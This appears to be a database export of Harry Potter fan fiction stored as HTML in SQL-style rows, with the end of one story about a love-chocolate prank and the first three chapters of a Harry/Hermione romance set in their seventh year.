between staring\nat Hermione &#8211; was writing furiously.</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">One and one and one make three.</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&#8216;Mr. Malfoy,\nwould you kindly read your notes out to the rest of the class?&#8217; she said\ncrisply.</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">Malfoy licked his lips nervously. &#8216;Notes?&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&#8216;Yes, notes. The notes you have\nbeen writing so diligently this lesson.&#8217; She said sharply. Getting no\nintelligent answer, she walked over and noticed various line\nof love-hearts and Hermione Granger&#8217;s written over and over. She frowned at the\ncowering Malfoy. &#8216;Detention, tomorrow afternoon. And\nsit back in your seat, please.&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&#8216;Idiot!&#8217; hissed Harry.</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">Hermione heaved a sigh of relief.\nShe wished Harry would stop giving her such fugitive looks. How on earth did he\nmake his eyes so endearing, so pleading . . . so hurt? She crumpled a piece of\nparchment by way of venting her feelings and threw it away. And to her\nsurprise, it floated very neatly to the bin.</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&#8216;Harry, you know it&#8217;s just a lo-&#8216;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">But Ron shook his head vigorously\nat her. This was after all, meant to be top secret. Hermione scowled at Ron.\nShe suspected that he was enjoying seeing Malfoy make an idiot of himself.</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">Harry looked enquiringly at her.</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&#8216;A long time until the class\nends.&#8217; Amended Hermione, feeling like a prize fool.\nHarry gave her a half-hearted, half-smile and returned to his work.</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">Hermione sighed, and she too got\nback to work.</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">~ * ~ * ~ * ~</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">Harry and Ron were preparing for\ntheir Quidditch game that afternoon. Hermione loitered around the area, wanting\nto wish good luck. Malfoy rounded a corner.</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">Hermione groaned.</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&#8216;What&#8217;s that my sweet?&#8217; he said\nsweetly smiling at her.</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">Hermione forced a smile.</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&#8216;Tonight, I will play my best. I\nwill play, not for Slytherin &#8211; but for you. My own dear Hermione, the true love of my life. My victory\nis yours!&#8217; he proclaimed.</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&#8216;Well, go ahead . . . with your\nvictory.&#8217; She couldn&#8217;t help but smile to herself. He was quite nice &#8211; although\nkind of soppy &#8211; when he was infatuated. If only his own blighted affection were\ncast on someone else, she could perhaps enjoy his current state of mind.</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">While pondering all this, she felt\ntwo lips press against hers. Still reeling from revulsion, she turned her head\ngently; but did not kiss him back. Not caring, or perhaps not knowing, he\nskipped lightly down the stairs. Hearing footsteps, she turned around and saw\nthe locker room open and close. </p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">She saw a raven-haired boy\nslipping into the room and pressed her hand to her forehead. Harry Potter saw\nit all.</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">Running to the locker room, she\nknocked furiously at it until Tom, a sixth year, opened it wearing only a pair\nof pants. Blushing brightly when he saw Hermione, he went to get Harry.</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">Hermione sat down on the locked\nchest which contained the balls used in the game and looked up when Harry\napproached.</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">She stood up hesitantly, and\ncleared her throat. &#8216;Harry.&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&#8216;I don&#8217;t have anything to say.&#8217; He\nsaid, shoving his hands in his pockets. &#8216;I mean, I wouldn&#8217;t have picked Malfoy\nfor sure, but . . . how could you let him paw you like that, it&#8217;s &#8211;&#8216;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&#8216;Harry?&#8217; she said, walking closer.\nShe could hear him breathe a little faster, and raised her eyes to him. Secret\nor no secret, he had to know. And, being a prime investor, of course the twins\nwouldn&#8217;t mind. &#8216;Love spell.&#8217; She said.</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">Harry&#8217;s brow furrowed. &#8216;For Malfoy?&#8217; He said, confused.</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&#8216;No!&#8217; said Hermione hurriedly. &#8216;Some\nkid must have done it as a practical joke. It&#8217;s a new product in the Weasley\nline.&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&#8216;And I don&#8217;t know about it?&#8217; said\nHarry cracking a smile. &#8216;I prided myself on knowing every product.&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">Hermione shrugged. &#8216;Top secret. Apparently only Ginny and Ron know.&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&#8216;Ginny? And &#8211; Ron?&#8217; said Harry,\naghast. &#8216;And they didn&#8217;t tell me . . . Ron . . .&#8217; he mused to himself. &#8216;Must&#8217;ve\nbeen those kids we heard in the library.&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">Light dawned. &#8216;Yeah, makes sense.&#8217;\nSaid Hermione.</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&#8216;I just want you to know,&#8217; said\nHarry inching closer. &#8216;You don&#8217;t need Love spells.&#8217; He ran a gentle hand down\nher face.</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">Hermione shivered at the light\ntouch and put a hand on his. She hoped he meant what she wanted him to. Harry\nsuddenly took his hand away and looked as if he were ashamed of himself.\nHermione tilted her head as he coloured and kicked\nherself for letting herself think that maybe &#8211; just maybe &#8211; </p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">A&nbsp; loud cough interrupted them, and they\nturned to see a silver-haired boy looking at Harry with deepest loathing.</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">Hermione turned back to Harry.\n&#8216;I&#8217;ll just get a seat in the stands.&#8217; She said quietly.</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">Harry closed his eyes as she left,\nand sat on the chest with the balls. He held his head in his hands. Hermione\nlooked at him one last time, to see him groan to himself before leaving.</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">~ * ~ * ~ * ~</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&#8216;Whoa, would you look at Malfoy!&#8217;\nsaid Lavender. &#8216;Tailing Harry, or something.&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">Ginny paled considerably. Grabbing\nHermione&#8217;s Omiculars, she focused in on Malfoy who\nwas indeed behaving very oddly. &#8216;Oh no.&#8217; she murmured.</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&#8216;Oh no, what?&#8217; said Hermione\nsharply, but instead of an answer she saw Malfoy ram his broom into Harry, and\nsend him plummeting to the ground. &#8216;Harry!&#8217; she screamed and ran down to the\nground, just and Malfoy landed neatly next to him.</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&#8216;Arrest him!&#8217; he roared, like a\nlunatic. Harry inched away, but his leg or something was obviously broken. &#8216;He\nstole MY HERMIONE!&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">Hermione sat down next to Harry\nand pointed her wand at Malfoy, &#8216;Stupfey!&#8217; she\nyelled, as he fell just before Professor Snape as he came to the scene.</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&#8216;Enervate.&#8217; He said crisply.</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">Malfoy stirred and sat up. &#8216;What\nthe hell?&#8217; he muttered.</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&#8216;You did it!&#8217; said Ginny happily.\n&#8216;You figured out how to stop the Love Chocolates! I have to tell Fred and\nGeorge, that was the only reason that they wouldn&#8217;t sell it properly, and they\ngave a competition to find who could figure it out an you won, I &#8211;&#8216;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&#8216;She won?&#8217; squealed an angry first\nyear, &#8216;It was our idea to plant the chocolate because we knew Hermione would &#8211;\nfigure &#8211; it &#8211; o &#8211; out. . .&#8217; he faltered under Snape&#8217;s\nicy face.</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&#8216;Love Chocolate?&#8217; he said.</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&#8216;Trust a damn Weasley,&#8217; he said,\nbefore being kicked by Ron, who was also there.</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">~ * ~ * ~ * ~</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&#8216;Broken rib, sprained wrist and\ndislocated knee-cap.&#8217; Said Harry to Hannah in a\nmatter-of-fact tone. &#8216;No biggie.&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">He grinned broadly at Hermione who\nfelt herself blush. Turning quickly, she walked away, only to dash right back\nand kiss him soundly on the cheek. Then, wondering how\nshe managed it, she ran up to her bedroom.</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">And had a\nwell-deserved long, hot bath.</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">A/N: Hope you liked! REVIEW,\nplease! Next chappie will have a little more Voldie-matters. Should be up within a\nnext or so. Enjoy, and leave a review : ) </p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(160, 1, '<b>\n</b><p><b>Disclaimer:</b> This story is based on characters and situations created and \nowned by JK Rowling, various publishers including but not limited to Bloomsbury \nBooks, Scholastic Books and Raincoast Books, and Warner Bros., Inc. No money is \nbeing made and no copyright or trademark infringement is intended. </p><b>\n<p align="center"></p>\n</b><p><b>Author notes:</b> Please R/R. I really have a thing for a real Harry/Hermione \nSHIP to happen in the real books. (Come on Harry! I know you love Hermione \nsomewhere in that heart of yours!!!) I would like to hear all of your \nopinions!!!</p>\n<p>Another thing for your minds to ponder&#8230;</p>\n<p>&quot;Hermione&quot; was a character in Greek mythology who was loved by two men. She \nwas the daughter of Helen of Troy and Menelaus. These men (Orestes 2 and \nNeoptolemus, the son of Achilles) fought terribly for the love of the beautiful \nHermione (Harry and Ron?). Orestes 2 was killed by a snake. Could this mean that \neither Ron or Harry will die at the hands of Lord Voldemort (whose symbol is a \nsnake?). Hmmm&#8230;</p><b>\n<p align="center">CHAPTER 1 - The Terrible Feeling</p></b>\n<p>&nbsp;</p>\n<p>Harry Potter, Ron Weasley, and Hermione Granger sat alone in the Gryffindor \ncommon room together, studying for the upcoming midterm exams that would take \nplace before the Christmas holidays. Harry sat alone on a single-person sofa \nwhile Ron and Hermione sat together across from him in the two-person sofa. It \nwas their 7th and final year at Hogwarts School of Witchcraft and Wizardry \nbefore they would graduate and be on their own. </p>\n<p>Through their 7 years at Hogwarts, each of them had grown and matured into \nunique, seventeen year-old teenagers. Harry, now a fine young man, grew a bit \ntaller and was no longer skinny. His body sprouted average muscles and he began \nto look more and more like his father, according to McGonagall. He shared his \nappearance with his mother by inheriting her green eyes. Ron had shown the most \nchange in appearance by adding a significant amount of inches to his height, \nmaking him one of the tallest students at Hogwarts. The taller he got, the \nredder his hair seemed to get. Hermione, still with her bushy brown hair, had \ndeveloped into a fine and shapely young woman. Everyone at Hogwarts, (especially \nthe boys) noticed this and a lot more heads would turn when she walked down \ncorridors.</p>\n<p></p>\n<p>Harry had become Head Boy of Gryffindor House and Captain of the Quidditch \nTeam, still doing excellent as a Seeker. Ron, supreme in his chess skills, \nhasn&#8217;t found any bit of competition. He takes pride as one of the Beaters for \nthe Gryffindor Quidditch Team. Hermione still challenged herself and excelled at \nher schoolwork, continuing to receive the highest marks. This, of course, made \nher Head Girl of Gryffindor House. Harry tried to read as he sat and watched \nHermione struggle impatiently to help Ron with Transfiguration homework.</p>\n<p>&#8220;Ron, it&#8217;s our final year here at Hogwarts. How do you expect to graduate if \nyou don&#8217;t concentrate? I&#8217;m not doing this for my health you know!&#8221; exclaimed \nHermione. </p>\n<p>&#8220;I&#8217;ll just copy off you when we have exams,&#8221; he answered, half-jokingly.</p>\n<p>&#8220;Oh no, you won&#8217;t!&#8221; she snapped, and tried to continue on with her \nlesson.</p>\n<p>&#8220;<i>Oh those two,&#8221; </i>Harry thought to himself, &#8220;<i>why don&#8217;t they just go \nout with each other already?</i>&#8221; At that moment, Harry felt some sort of knot \ntie up in his stomach. </p>\n<p>&#8220;<i>Ron and Hermione together? That&#8217;ll be the day!</i>&#8221; However, he didn&#8217;t \nknow whether it made him feel happy or sick. He just felt the knot get tighter \nand tighter in his stomach. The feeling was so great that he wanted to punch \nsomething (strangely, Ron&#8216;s face) very hard.</p>\n<p>After what seemed like hours, Hermione and Ron finished. Hermione stood up, \nyawned, and stretched. </p>\n<p>&#8220;Well I&#8217;m going to bed. Ron has taken all the energy from me trying to teach \nhim,&#8221; she said, looking very tired out.</p>\n<p>&#8220;Oh ok,&#8221; Ron said, still in his seat. Quite apparently still filled with \nenergy. &#8220;We&#8217;ll see you tomorrow?&#8221;</p>\n<p>&#8220;Of course!&#8221; she yawned. &#8220;Goodnight, Ron.&#8221;</p>\n<p>&#8220;Night Hermione,&#8221; he replied.</p>\n<p>&#8220;Bye Harry,&#8221; Hermione said, as she gathered her books and parchments. </p>\n<p>Harry did nothing more than look up at her, nod his head, and give a very \nweak and sad grin. Hermione just smiled back and made her way to the girls&#8217; \ndormitories, too tired to notice Harry&#8217;s expression. His eyes dropped back down \nto the book, but he wasn&#8217;t reading anymore. The thought of Ron and Hermione \ntogether was really bothering him. It went from a knot to a full beating that \nwas eating him up inside. Why did that thought upset him so much? The look on \nhis face was showing what he was feeling and Ron saw it. He realized that Harry \nhadn&#8217;t said much since their study session with Hermione. In fact, he hadn&#8217;t \nsaid anything at all. </p>\n<p>&#8220;Harry?&#8221; he called, puzzled. Harry didn&#8217;t answer him. He was to caught up in \nhis thoughts to hear Ron. </p>\n<p>&#8220;Harry!?&#8221; Ron said, louder. Harry still didn&#8217;t answer. He just sat there with \na blank look on his face, not even looking at the book. </p>\n<p>&#8220;HARRY!!?&#8221; Ron yelled. This finally got Harry&#8217;s attention.</p>\n<p>&#8220;Huh?&#8221; Harry replied stupidly, looking up from his book and quickly shaking \nhis head.</p>\n<p>&#8220;You ok?&#8221; Ron asked. &#8220;Because you don&#8217;t look ok. You haven&#8217;t said anything \nsince we got here. Not even an attempt to scold me when I would insult \nHermione.&#8221; This just made Harry even more upset. He had to restrain himself from \nlunging at Ron and smashing his face into a wall. He thought about all the times \nwhen Ron insulted Hermione and all those times he wanted to stand up to her and \njust snap at Ron for being so inconsiderate. But all those times, just to take \nsides with Ron, he would just grin and bear it, sometimes even feeling her pain. \n</p>\n<p>&#8220;Something on your mind mate?&#8221; Ron asked coolly.</p>\n<p>&#8220;No Ron,&#8221; Harry said, between seethed teeth, rather scornfully. &#8220;Nothing&#8217;s \nwrong.&#8221;</p>\n<p>&#8220;Oh,&#8221; he said, not noticing the harsh tone in Harry&#8217;s voice. &#8220;Are you \nsure?&#8221;</p>\n<p>&#8220;I&#8217;m Positive Ron,&#8221; Harry replied.</p>\n<p>&#8220;Well, I&#8217;m going to bed then,&#8221; he said. He gathered his things and made his \nway to the boys&#8217; dormitories. &#8220;You coming Harry?&#8221;</p>\n<p>&#8220;I will,&#8221; Harry replied. &#8220;I-I just need to finish something up over \nhere.&#8221;</p>\n<p>&#8220;Ok, if you say so.&#8221; And Ron trotted off.</p>\n<p>Harry sat there as thoughts ran trough his head. He took off his glasses and \npinched himself between his tightly shut eyes and replaced his glasses back on \nhis face. </p>\n<p>&#8220;<i>You need to relax Harry</i>,&#8221; he thought to himself, &#8220;<i>So what if Ron \nand Hermione are together? That&#8217;s just none of your business. But why does it \nbother me so much? It shouldn&#8217;t. I should be happy for them</i>.&#8221; Harry forced \nhimself to stop thinking and made his way up to the boys&#8217; dormitories, changed \ninto his pajamas, and fell right asleep, trying hard not to think about \nanything.</p>\n'),
	(160, 2, '<b>\n<p align="center">CHAPTER 2 - Harry&#8217;s Problem</p></b>\n<p>&nbsp;</p>\n<p>Harry got up the next morning to find Ron doing the same. It was snowing \nsoftly outside as they both got dressed and made their way to The Great Hall to \nhave breakfast. Hermione was already there. </p>\n<p>&#8220;Morning Hermione,&#8221; Ron said and sat himself next to her. </p>\n<p>Harry, of course, noticed this, gave a very small smile, and shook his head \nslowly out of disappointment. He sat across from them as like the night before \nand propped his head on his hand, looking down at the table with his eyes \nclosed.</p>\n<p>&#8220;Morning Ron,&#8221; Hermione replied. She looked over at Harry and saw the blank \nlook on his face. The same one Harry had before but failed to notice last night. \nShe became worried, and even saddened, at the sight she saw. She turned her head \ntoward Ron, in hope to find an answer, but Ron just shrugged. She turned back to \nHarry with a concerned look on her face. She noticed that Harry hadn&#8217;t said \n&#8216;good morning&#8217; this time. It was unlike him because he always said &#8216;good \nmorning&#8217;. </p>\n<p>&#8220;Harry?&#8221; she said concerned.</p>\n<p>&#8220;Yeah,&#8221; he answered, looking up at her.</p>\n<p>&#8220;Are you ok Harry?&#8221; she asked. &#8220;And don&#8217;t say &#8216;yes&#8217; because I know your not. \nThat look on your face gives it away. With you being the Head Boy, you should \nset a good example for the underclassmen!&#8221;</p>\n<p>Harry didn&#8216;t know what happened, but what Hermione had said made him feel \nvery agitated and irritated. &#8220;Fine!&#8221; he shouted, standing up, &#8220;If you have to \nknow, NO OK! I&#8217;m not! I&#8216;m just having a bad day!&#8221; He said this so loudly \neveryone in the Hall had quieted down and was staring at him. &#8220;I&#8217;m just going to \nleave you two alone!&#8221; And he stormed out.</p>\n<p>&#8220;Harry wait!&#8221; Hermione shouted. &#8220;I&#8230;&#8221; but it was too late. Harry was long \ngone. &#8220;He&#8217;s rather hostile this morning, isn&#8217;t he? What on Earth is wrong with \nhim?&#8221; she asked turning to Ron. </p>\n<p>&#8220;I have no idea,&#8221; he replied. &#8220;He&#8217;s been like that since last night.&#8221; </p>\n<p>They could hear people talking in the Hall as to what could&#8217;ve made Harry so \nupset to storm out. &#8220;I noticed it started to happen at our study session last \nnight.&#8221;</p>\n<p>&#8220;Well could you try to find out, Ron?&#8221; she asked sternly, &#8220;You&#8217;re his best \nfriend and I&#8217;m sure he&#8217;ll tell you if you ask him. I&#8217;m just really concerned \nabout him.&#8221;</p>\n<p>&#8220;I&#8217;ll try. But I can&#8217;t make any promises.&#8221;</p>\n<p>&#8220;Well I need to be going to&#8230;&#8221;</p>\n<p>&#8220;The library.&#8221; Ron finished.</p>\n<p>&#8220;Yes the library!&#8221; she snapped. &#8220;I need to finish something up.&#8221; And she \nwalked off, books in hand.</p>\n<p>Ron left The Great Hall and made his way to the Gryffindor common room hoping \nto find Harry there. To his surprise, he did find Harry there, lying on the \ncouch with his forearm over his eyes and one of his legs hanging off the side. \n</p>\n<p>&#8220;Harry? Do you want to talk?&#8221; he said as he made his way through the Fat Lady \nportrait. </p>\n<p>Harry sat up and looked as Ron walked to the other side of the couch.</p>\n<p>&#8220;I really don&#8217;t know if I can,&#8221; Harry replied as though the incident in The \nGreat Hall never happened. &#8220;Something is bothering me, but I can&#8217;t talk about \nit. Not now.&#8221;</p>\n<p>&#8220;Don&#8217;t worry Harry, I know what it is,&#8221; Ron said casually. &#8220;It was bothering \nme a bit also.&#8221;</p>\n<p>&#8220;What?&#8221; Harry asked. He looked scared as if Ron could read his mind and know \nwhat exactly what was bothering him.</p>\n<p>&#8220;The Yule Ball,&#8221; he answered. &#8220;Don&#8217;t worry, I was feeling exactly like you \nwhen I knew I had to ask someone again.&#8221;</p>\n<p>&#8220;Oh,&#8221; Harry lied, &#8220;you really read my mind.&#8221;</p>\n<p>&#8220;So have you asked her yet?&#8221; Ron asked coolly.</p>\n<p>&#8220;Who!?&#8221; Harry said, getting worried as to where this was going.</p>\n<p>&#8220;Oh come on Harry! You <i>know</i> who I&#8217;m talking about!&#8221; exclaimed Ron. \n</p>\n<p>The look on Harry&#8217;s face gave him the answer &#8216;no&#8217;. Ron sighed. &#8220;Hermione, \nHarry! Hermione!&#8221;</p>\n<p>&#8220;What!?&#8221; he gasped. Trying to hide that Ron was right.</p>\n<p>&#8220;It&#8217;s obvious to me Harry. I see the way you look at her when she goes about \nher day. And you have been EXTRA nice to her since the start of the school year \nwhen you both found out you two were Head Boy and Head Girl of Gryffindor. I \ndon&#8217;t exactly remember when, but I told myself that you liked her. I haven&#8217;t \nsaid anything to you just in case I might&#8217;ve been wrong&#8230;So?&#8221;</p>\n<p>&#8220;So&#8230;what?&#8221;</p>\n<p>&#8220;Am I right? Do you like Hermione?&#8221;</p>\n<p>&#8220;Ron,&#8221; Harry sighed, completely ignoring Ron&#8217;s question, &#8220;all I want to do is \nask Hermione to the Yule Ball. That&#8217;s all. But&#8230;what about you?&#8221;</p>\n<p>&#8220;What about me?&#8221;</p>\n<p>&#8220;Don&#8217;t you want to ask her?&#8221;</p>\n<p>&#8220;Oh bloody hell, Harry! No I don&#8217;t. I mean, I&#8217;ve already asked Lavender \nBrow&#8230;.&#8221; Ron&#8217;s eyes suddenly lit up. &#8220;Wait a minute! That&#8217;s it isn&#8217;t it!&#8221; he \nexclaimed standing up. &#8220;What&#8217;s really bothering you! You think that I&#8217;ve already \nasked Hermione to the ball and you were too slow to do it!&#8221; Harry just stared at \nhim. He didn&#8217;t know if that was an insult or not. Ron knew what he was thinking \nand said, &#8220;Don&#8217;t worry Harry. First, I haven&#8217;t asked Hermione to the ball. \nSecond, I can assure you that there is nothing going on between Hermione and me. \nAnd third, there&#8217;s no Viktor Krum to sweep her off her feet. So as far as I&#8217;m \nconcerned, she&#8217;s all yours! That is, if someone else hasn&#8217;t already asked her. \n</p>\n<p>Harry still sat there and took in all of what he just heard. &#8220;<i>So, there&#8217;s \nnothing going on between Ron and Hermione</i>,&#8221; he thought to himself. &#8220;<i>That \nmeans that I&#8217;ve been so upset these past few days for no reason at all. I&#8217;M SUCH \nA DUMB PRAT!!!</i>&#8221; Harry just shook his head. &#8220;So what do I do now?&#8221; he asked \nRon.</p>\n<p>&#8220;Well, the day where the students leave for the Christmas holidays is coming \nup soon. You and Hermione both know that I&#8217;m leaving. And you and I both know \nHermione will be staying this year.&#8221; Harry gave Ron his &#8216;so?&#8217; look. &#8220;Ugh, \nthat&#8217;ll give you more than enough time alone to ask her to the ball!&#8221;</p>\n<p>Harry nodded and stood up. &#8220;You&#8217;re right Ron. I will ask her to the ball!&#8221; he \nsaid triumphantly. He stood there for a moment and sat back down sadly. &#8220;If I \never get the courage to ask her,&#8221; he added.</p>\n<p>&#8220;Oh Harry, you will,&#8221; Ron said encouragingly. &#8220;I mean, you tackled a mountain \ntroll, became the youngest Seeker in a century, won the Tri-Wizard Tournament, \ntook on He-Who-Must-Not-Be-Named countless times, and you&#8217;ve asked a girl to a \nball before, so asking Hermione should be no problem. Plus, you have tons of \nfriendship to back you up. There&#8217;s no reason for her to say no.&#8221;</p>\n<p>Harry nodded again, feeling better. &#8220;We best be heading to class then.&#8221; Ron \ngave an irked at the thought of having to do schoolwork, but nonetheless, \nfollowed Harry as they made their way to class.</p>\n'),
	(160, 3, '<b>\n<p align="center">CHAPTER 3 - Alone In The Library</p></b>\n<p>&nbsp;</p>\n<p>Harry went through the school day as though nothing had happened. Ron was \nalso doing the same. Hermione was going through her school day normally as well \nas tutoring Harry and Ron for exams. It went on like that for the next few days \nuntil it was time for students to take the midterm exams. After long, tired, and \nexhilarating hours in classes, every student was finished and got their results. \n</p>\n<p>Hermione passed, of course, with the highest marks while Harry passed with \nabove average marks and Ron marked just high enough to pass. </p>\n<p>Not too long after exam results, it would be time for students who would be \nleaving for the Christmas holidays to board the train. As Harry and Hermione saw \nRon off near The Great Hall, he pulled Harry aside and wished him good luck on \nhis attempt to ask Hermione to the Yule Ball. After a thank you and a handshake \nfrom Harry and a goodbye and hug from Hermione, (which made Harry a little \njealous) Ron dragged his trunk away and was gone.</p>\n<p>&#8220;So what&#8217;d you plan to do today Harry?&#8221; Hermione asked smiling as she turned \ntoward him.</p>\n<p>&#8220;Well, I&#8230;&#8221; said Harry turning toward her, but he became distracted to what he \nwas now looking at. He and Hermione were now standing at arms length to each \nother and his eyes examined Hermione as though for the first time. He looked at \nher bushy brown hair, but it didn&#8217;t seem so bushy to him anymore. It was drowned \nout by her teeth, which was fixed in their 4th year, that made out her smile, \nwhich sparkled below two brightly lit brown eyes which now he was looking deep \ninto. A feeling had come over Harry, something that was buried deep inside of \nhim and only now triggered when he saw Hermione up close. Hermione was \nbeautiful. She casually stared back into Harry&#8217;s emerald green eyes. </p>\n<p>&#8220;&#8230;I-I w-was going to follow you t-to whatever you w-were going to do,&#8221; Harry \nstammered, trying as hard as he could to hide what he was really feeling from \nHermione.</p>\n<p>&#8220;Oh, well I was going to the library to do a little research,&#8221; said Hermione \nuneasily, still looking into his eyes but looking as though nothing was wrong \nwith Harry. 